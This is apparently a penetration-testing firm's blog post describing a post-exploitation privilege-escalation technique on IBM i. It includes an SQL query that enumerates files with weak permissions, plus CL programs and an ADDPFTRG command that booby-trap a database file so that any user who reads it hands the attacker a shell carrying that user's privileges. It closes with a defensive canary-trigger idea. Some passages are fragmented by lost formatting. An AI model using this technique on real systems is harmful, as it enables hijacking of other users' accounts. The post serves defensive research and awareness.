Post-exploitation is a crucial element of any attack aiming for realistic objectives, so it is no surprise that the topic is extensively researched, resulting in a trove of information that defenders can rely on to design and implement countermeasures. Unfortunately, owners of IBM i systems do not have the luxury of access to such information right now. This was one of the main ideas we discussed with Ben Williams of Chilli IT, who was kind enough to introduce us to IBM’s Brunch and Learn webcast last week, where we discussed our penetration testing experiences from “the POWER island”.
In this blog post we reflect on this problem by providing a technical example. We share a technique that not only allows attackers to escalate their privileges by abusing standard permissions, but can also be useful for defenders to catch perpetrators red handed, and to gain better understanding of their behavior and motives.
In our first post about IBM i we noted that the operating system includes a database engine, Db2. This level of integration means that practically all objects of the system are accessible via SQL, a powerful tool to discover and analyze system configuration, and also to identify potential vulnerabilities. However, the “database view” of the operating system not only allows us to read data, but lets us insert additional data that can affect the behavior of the system too.
As with most modern relational database management systems, it is possible to create database triggers that can be configured to execute actions when specific events occur.
On IBM i, a database trigger is a special type of object that is associated with a specific database file or table and is triggered automatically when a specific operation is performed on that file or table, such as an
DELETE statement. The neat part is that since on IBM i everything is an object, and we have this handy RDBMS interface to manipulate objects, we can also create triggers for any (physical) file object!
The command to add triggers to physical files is ADDPFTRG, which requires at least the following authorities to work (for more details see the linked documentation):
- For the target physical file object:
- For the library that contains the target object:
The other ingredient of our attack is that triggers can be defined so that they execute programs.
*EXECUTE authority is required on the trigger program and its library too, but this is usually not a problem since we will create these programs.
The SQL query below enumerates all the files that are candidates for this attack, matching the above criteria:
SELECT OFILE.SYSTEM_OBJECT_SCHEMA, OFILE.SYSTEM_OBJECT_NAME, OFILE.AUTHORIZATION_NAME, OFILE.OBJECT_AUTHORITY FROM QSYS2.OBJECT_PRIVILEGES OFILE JOIN QSYS2.OBJECT_PRIVILEGES OL ON OL.SYSTEM_OBJECT_NAME = OFILE.SYSTEM_OBJECT_SCHEMA AND OFILE.AUTHORIZATION_NAME = OL.AUTHORIZATION_NAME WHERE ((OFILE.DATA_READ = 'YES' AND OFILE.OBJOPER = 'YES' AND OFILE.OBJALTER = 'YES') OR OFILE.OBJMGT = 'YES') AND OL.DATA_EXECUTE='YES' AND OFILE.OBJECT_TYPE = '*FILE' AND OL.OBJECT_TYPE = '*LIB' AND OFILE.SYSTEM_OBJECT_NAME NOT LIKE 'Q%' AND OFILE.AUTHORIZATION_NAME NOT LIKE 'Q%' AND OFILE.AUTHORIZATION_NAME <> OFILE.OWNER
In our test system, this query produces the following output with
USERB2 (special authority:
SYSTEM_OBJECT_SCHEMA SYSTEM_OBJECT_NAME AUTHORIZATION_NAME OBJECT_AUTHORITY --------------------------------------------------- USERB1 SAVE1 *PUBLIC *ALL USERB1 USERDB *PUBLIC *ALL
USERB1/USERDB is a suitable candidate for setting up an SQL trigger to perform privilege escalation. Since we can’t predict who exactly will fall in our trap, we will create individual “backdoor” programs that would grant us access with the privileges of their corresponding victims. We set the stage for our exploit with the following steps:
*PGMbecause the default object authorities don’t allow duplicating the built-in
You can use the following simple CL script for executing interactive commands:
PGM CALL QCMD /* Compile to USERB2/FAKEQCMD */ ENDPGM
*PUBLIC *ALL, which allows any user to duplicate the object.
Create a library (
PENTESTLIB) that will contain the duplicated
QCMDwrappers. Set the authority of the
*PUBLIC *ALL, which allows any user to create the
QCMDwrapper in the library (we should cover OPSEC considerations later :)).
Create the following trigger
PGM DCL VAR(&USRPRF) TYPE(*CHAR) LEN(10) /* The name of the current user profile. */ RTVUSRPRF USRPRF(*CURRENT) RTNUSRPRF(&USRPRF) /* Verify the existence of the QCMD wrapper. */ CHKOBJ OBJ(PENTESTLIB/&USRPRF) OBJTYPE(*PGM) MONMSG MSGID(CPF9801) EXEC(DO) /* Object &2 in library &3 not found. */ /* Duplicate the QCMD wrapper with the name of the current user profile. */ CRTDUPOBJ OBJ(FAKEQCMD) FROMLIB(USERB2) OBJTYPE(*PGM) TOLIB(PENTESTLIB) NEWOBJ(&USRPRF) CHGPGM PGM(PENTESTLIB/&USRPRF) USRPRF(*OWNER) /* See below */ ENDDO ENDPGM
CHGPMcommand sets up the
*USRPRFparameter of the duplicated program to
*OWNER, which works like the SETUID bit on Unix-like systems: when a program gets executed, it takes the user profiles of both the program owner and the current user into account (see our other post for more details). In our case, the owner will obviously be the user profile that activated the trap and executed the trigger.
Add the trigger
*PGMto the database file (
USERB1/USERDB). In this example, an
*AFTERtrigger is configured for the
ADDPFTRG FILE(USERB1/USERDB) TRGTIME(*AFTER) TRGEVENT(*READ) PGM(USERB2/TRIGGER)
At this point our trap is ready, we only need to wait for one of the system users to execute a read operation on the
Once this occurs, our
*PGM trigger will create a
QCMD wrapper in the
PENTESTLIB library with the profile name of the victim, who will also be the owner of the program.
Finally, we can execute the wrapper using a simple
CALL command, and the resulting shell will have the privileges of the victim user.
Fool Me Once…
Perceptive readers probably already know how defense can benefit from all this (besides learning about possible attacks):
First, change the trigger program so that it sends an e-mail, prints a warning (make sure you don’t use tractor-feed paper…), turns on a siren, etc. Then place the trigger on some object that may be of interest to an attacker, and you have a nice little canary that alerts you if users wander to forbidden territory. You don’t even have to risk exposing actual sensitive data, but it’s crucial that the booby trapped objects
- look valuable for an attacker and
- are not in active use (or you’ll end up listening to sirens constantly)
As usual, we have found vulnerable environments exploitable with the techniques described above on multiple testing sites. In these cases, the root cause can be attributed to insecure default configurations of systems and common optional components. An obvious limitation of the technique is the necessity of victim interaction, so the common usage scenarios of a particular system should be an important factor during risk assessment.
Until the general visibility on advanced threats affecting IBM i systems improves so that we can collect real attacker TTP’s, we have to fall back to mapping out the technical possibilities for the different stages of attacks. We hope that we can not only raise awareness about the vulnerabilities of midrange systems, but also nudge responsible IBM i administrators to take initiative and show who’s boss on their systems!